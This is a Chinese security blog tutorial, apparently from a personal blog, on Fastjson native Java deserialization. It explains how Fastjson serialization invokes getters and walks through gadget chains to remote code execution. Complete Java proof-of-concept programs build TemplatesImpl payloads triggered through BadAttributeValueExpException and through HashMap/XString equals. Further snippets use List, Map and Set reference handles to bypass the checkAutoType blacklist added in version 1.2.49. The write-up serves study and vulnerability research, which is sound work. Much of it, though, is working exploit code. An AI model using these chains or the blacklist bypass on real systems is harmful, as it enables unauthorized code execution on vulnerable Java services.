Fastjson原生反序列化
前置知识
先了解什么是Fastjson
1
|
Fastjson 作为一个高性能的 Java JSON 库,其核心功能是将 Java 对象转换为 JSON 字符串(即toJSONString)和将 JSON 字符串转换为 Java 对象(即parseObject/parseArray)。
|
Fastjson序列化核心流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
第一优先级:@JSONField 注解
这是最高指令。无论有没有 Getter,或者字段是私有的,只要加了注解,Fastjson 就会听它的。
@JSONField(name="alias"):指定 JSON 中的字段名。
@JSONField(serialize=false):强制不序列化该字段(直接忽略)。
@JSONType:可以用于类上,控制整个类的序列化行为,例如指定序列化的字段、禁用某些字段等。
第二优先级:符合规范的 Getter 方法
如果没有注解,Fastjson 最主要依靠 Getter 方法来获取值。哪怕该类中没有对应的成员变量,只要有 Getter 方法,JSON 中就会出现该字段。格式要求:{
方法名必须以 get 开头,且第四个字母必须大写(如 getName)。
方法必须是 public 的。
方法不能有参数。
方法返回值不能是 void}
特例(布尔值):对于 boolean 或 Boolean 类型,is 开头的方法(如 isValid)也会被视为 Getter。
第三优先级:Public 成员变量 (Public Fields)
如果一个字段没有对应的 Getter 方法,但它是 public 的,Fastjson 也会直接读取该字段的值进行序列化。
|
举例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public class User {
// 1. 私有字段:实际存储的值是 "zhangsan"
private String name = "zhangsan";
// 2. Public 字段:实际存储的值是 18
public int age = 18;
// 3. Getter 方法:注意!这里返回了假数据 "Lisi"
public String getName() {
return "Lisi"; // 故意搞事
}
// 4. 注解:强制改名为 "user_age"
@JSONField(name = "user_age")
public int getAge() {
return 100; // 故意返回 100
}
// 5. 一个没有对应字段的 Getter(虚拟属性)
public String getFlag() {
return "CTF{xxx}";
}
}
|
输出
1
2
3
4
5
|
{
"name": "Lisi",
"user_age": 100,
"flag": "CTF{xxx}"
}
|
原因
1
2
3
|
name 字段:虽然内存里的字段是 "zhangsan",但 Fastjson 优先调用 getName(),所以结果是 "Lisi"。
user_age 字段:虽然 public int age 是 18,但 getAge() 存在且有 @JSONField 注解,所以取名为 user_age 且值为 100。
flag 字段:虽然类里根本没有 flag 这个变量,但因为有 getFlag(),Fastjson 认为这是一个属性,将其序列化。
|
数据类型转换
1
2
3
4
5
6
7
|
Fastjson 能够智能地处理各种 Java 数据类型到 JSON 类型的映射:
基本类型及其包装类:int, long, boolean, double, String 等会直接转换为 JSON 的基本类型(数字、布尔、字符串)。
复杂对象:对象内部的引用类型字段会递归地进行序列化,形成嵌套的 JSON 对象。
集合类型:List, Set, Map 等集合类型会转换为 JSON 数组或 JSON 对象。
日期类型:默认情况下,java.util.Date 和 java.sql.Timestamp 等日期类型会转换为时间戳(long 类型),或者通过 @JSONField(format="...") 指定为特定格式的字符串。
枚举类型:枚举的 name() 方法或 toString() 方法通常会被序列化为字符串。
|
现有版本
1
2
3
|
FastJson1版本 <= 1.2.48
FastJson2版本 >= 1.2.49(目前高版本依旧通杀)
|
fastjson 1.2.48
直接在maven文件里添加
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
</dependencies>
|
FastJson链子1寻找
既然是原生反序列化,那必然是在fastjson包里面的,我们直接去fastjson包中找哪些类实现了Serializable接口就行,最终只找到两个类,JSONArray与JSONObject,并且这两个类都是extends继承了JSON类的,我们拿第一个讲一下,实际上这两个在原生反序列化当中利用方式是相同的。
先来看JSONArray类,一整个看下来发现这个类虽然接入了Serializable接口,但是始终没有实现readObject方法的重载,并且在继承的父类JSON中也没有发现有readObject方法,这意味着我们需要从其他类中readObject方法作为入口方法去触发原生反序列化

注意到在JSON类中的toString()方法能触发toJSONString()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public String toString() {
return this.toJSONString();
}
public String toJSONString() {
SerializeWriter out = new SerializeWriter();
String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}
|
这里重写了toString()方法,该方法返回toJSONString()方法调用的结果,我们重点来看toJSONString()方法,这个方法是用于将当前对象序列化成JSON字符串,而这里能调用任意类的getter方法。
1
|
能调用任意类的getter方法的原因简单说就是:Fastjson 将 `JSONArray` 里的内容转成 JSON 字符串时,Fastjson 的序列化器(`ASMSerializerFactory`)接手工作。它遵循 JavaBean 规范,为了获取对象的数据来生成 JSON,它必须调用对象所有的 Getter 方法。详细看:https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%BA%E4%BB%80%E4%B9%88fastjson1%E7%9A%841-2-49%E4%BB%A5%E5%90%8E%E4%B8%8D%E5%86%8D%E8%83%BD%E5%88%A9%E7%94%A8
|
而有些类的getter方法是可以造成一些漏洞的,例如CB链通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用。所以fastjson序列化TemplatesImpl时就会调用getOutputProperties从而rce
触发toString()方法1
然后现在需要找一个能触发toString()方法,在CC5我们就知道了BadAttributeValueExpException的readObject方法调用了toString方法.
这里的话会从对象中读取一个val属性的值,并赋值给valObj变量,那么如果我们能控制这个ois对象中val属性的值为某个类的对象,那么就可以调用该对象的toString()方法,这里的话是可控的。具体可以看cc5
怎么传入TemplatesImpl
这里JSONArray 实现了 List 接口。可以把它看作是一个“穿着 JSON 外衣的 ArrayList”。

而add方法就可以把TemplatesImpl 这个对象存储到了 jsonArray 内部管理的列表(List)里

JSONSerializer 去执行 write(this) 时,传入 JSONArray,序列化器的逻辑是遍历这个 List 中的每一个元素,并对每一个元素进行序列化。由上面知 TemplatesImpl 对象进行序列化就会调用getOutputProperties。
FastJson1最终POC1
1
2
3
4
5
6
7
8
9
|
BadAttributeValueExpException#readObject()
->JSON#toString()
->TemplatesImpl#getOutputProperties()
CC3链:
TemplatesImpl#newTransformer()->
TemplatesImpl#getTransletInstance()->
TemplatesImpl#defineTransletClasses()->
TemplatesImpl#defineClass()->
恶意类字节码执行
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
package org.example;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//触发TemplatesImpl#getOutputProperties()方法
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",jsonArray);
serialize(badAttributeValueExpException);
unserialize("fastjson.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|

FastJson链子2寻找
HashMap#readObject()

在HashMap#readObject()方法中有一个putval方法,跟进putVal,这里调用equals方法
AbstractMap#equals
这里的话链子是调用到AbstractMap.equals,在equals中又调用到了XString的equals
XString#equals()
继续跟进到XString的equals,可以看到可以调用任意类的toString,这里的obj2可以设置为JSONArray
FastJson1最终POC2
1
|
HashMap#readObject() ->AbstractMap#equals-> XString#equals() -> 任意调#toString()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
package org.example;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;
import java.util.HashMap;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//触发TemplatesImpl#getOutputProperties()方法
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
XString xString = new XString("zhizuijimi");
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashmap1.put("yy",jsonArray);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",jsonArray);
HashMap map = makeMap(hashmap1,hashmap2);
serialize(map);
unserialize("fastjson.txt");
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setFieldValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|
解释一下payload,当你运行 unserialize 时,最外层的 map 开始恢复。 查看你提供的 readObject (Snippet 2):
1
2
3
4
5
6
7
8
|
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject(); // 读取到 hashmap1
V value = (V) s.readObject();
// 放入 map,这里会计算 key 的 hash
putVal(hash(key), key, value, false, false);
}
// 下一次循环,读取到 hashmap2,再次调用 putVal
|
创建2组hashmap原因
当放入第二个 key (hashmap2) 时,由于它和 hashmap1 的 hash 值一样,会落入同一个槽位(这也是搞2 个 HashMap的原因,只有搞2个hashmap才会进行比较,当key的hash一样时,就会调用equals!)。此时代码逻辑如下:
1
2
|
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k)))) //
|
因为 hash 相同,为了确认这是否是同一个 Key,HashMap 必须调用 key.equals(k)。 即执行:hashmap2.equals(hashmap1)。
然后进入 AbstractMap.equals,现在执行的是 HashMap 的 equals 逻辑(继承自 AbstractMap)。它会逐个比较里面的元素。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
// 遍历 hashmap2 的元素
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey(); // 假设当前取到了 key="yy"
V value = e.getValue(); // 在 hashmap2 中,"yy" 对应的 value 是 XString
// 去 hashmap1 (m) 里找 "yy" 对应的值
// 在 hashmap1 中,"yy" 对应的 value 是 JSONArray
if (value == null) {
} else {
// value 是 XString
// m.get(key) 是 JSONArray
if (!value.equals(m.get(key))) // 触发 XString.equals(JSONArray)
return false;
}
}
|
这里利用了 yy 这个键。在 hashmap2 里,yy 指向 XString。在 hashmap1 里,yy 指向 JSONArray。AbstractMap 认为既然你们 Key 一样,那 Value 也得一样才行,于是调用 XString.equals(JSONArray)。
然后进入你提供的 XString 代码:
1
2
3
4
5
|
public boolean equals(Object obj2) { // obj2 传进来的是 JSONArray
// ... ...
else
return str().equals(obj2.toString());
}
|
obj2 是 JSONArray。调用 obj2.toString()。JSONArray 没有重写 toString,调用父类 JSON.toString() -> toJSONString()。Fastjson 序列化启动 -> 扫描 Getter -> RCE。
每组hashmap塞2个值的原因
看到上面,肯定有疑问,按照上面的分析,只需要
1
2
|
hashmap1.put("yy",jsonArray);
hashmap2.put("yy",xString);
|
就够了,为啥要
1
2
3
4
|
hashmap1.put("yy",jsonArray);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",jsonArray);
|
原因如下:这里调用了hash函数

跟进看看

发现调用了hashcode,看看hashcode函数是啥
1
2
3
|
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
|
所以当执行到 hash(key),就有
1
|
Hash(Map1) = (hashCode(key) ^ hashCode(value)
|
如果都只有一组值
1
2
|
Hash(Map1) = (hashCode(yy) ^ hashCode(jsonArray)
Hash(Map2) = (hashCode(yy) ^ hashCode(xString)
|
两个hash显然不等(p.hash == hash 这里比较,只有相等才调用equals),所以我们利用java中hashCode(yy)=hashCode(zZ),凑出payload
1
2
3
4
|
hashmap1.put("yy",jsonArray);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",jsonArray);
|
这样两组map就相等了
1
2
|
Hash(Map1) = (hashCode(yy) ^ hashCode(jsonArray)+(hashCode(Zz) ^ hashCode(xString)
Hash(Map2) = (hashCode(yy) ^ hashCode(xString)+(hashCode(Zz) ^ hashCode(jsonArray)
|
为什么fastjson1的1.2.49以后不再能利用
FastJson2的版本是从1.2.49开始的,我们改一下maven项目的pom文件
1
2
3
4
5
|
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.49</version>
</dependency>
|
然后发现从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法,由于反序列化的时候readObject的调用是从外到内的,所以内层的JSONArray或者JSONObject对象的readObject方法也会被调用

在SecureObjectInputStream类当中重写了resolveClass方法,其中调用了checkAutoType方法做类的检查:

这让TemplatesImpl类不被允许加载。(ParserConfig.java里有黑名单,不过有是用Hash 存黑名单)
checkAutoType绕过
为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}
|
上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass
再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关。那么就只剩下了reference引用类型了。
如何成为引用类型
那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查?
答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过checkAutoType()的检查!
FastJson2-POC1(List类型)
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
1
2
3
4
5
6
7
8
|
//用list去绕过fastjson2
ArrayList<Object> list = new ArrayList<Object>();
list.add(templates);
list.add(badAttributeValueExpException);
//序列化和反序列化
serialize(list);
unserialize("fastjsonSerialize02.txt");
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//触发TemplatesImpl#getOutputProperties()方法
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",jsonArray);
//用list去绕过fastjson2
ArrayList<Object> list = new ArrayList<Object>();
list.add(templates);
list.add(badAttributeValueExpException);
serialize(list);
unserialize("fastjson.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射
当再次写入同一对象的时,会先在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了。
FastJson2-POC2(Map类型)
1
2
3
4
5
6
7
|
//用Map去绕过fastjson2
HashMap map = new HashMap();
map.put(templates, badAttributeValueExpException);
//序列化和反序列化
serialize(map);
unserialize("fastjsonSerialize03.txt");
|
FastJson2-POC3(Set类型)
1
2
3
4
5
6
7
8
|
//用Set去绕过fastjson2
Set set = new HashSet();
set.add(templates);
set.add(badAttributeValueExpException);
//序列化和反序列化
serialize(set);
unserialize("fastjsonSerialize04.txt");
|
fastjson原生反序列化 - Infernity’s Blog
fastjson原生反序列化 - Infernity’s Blog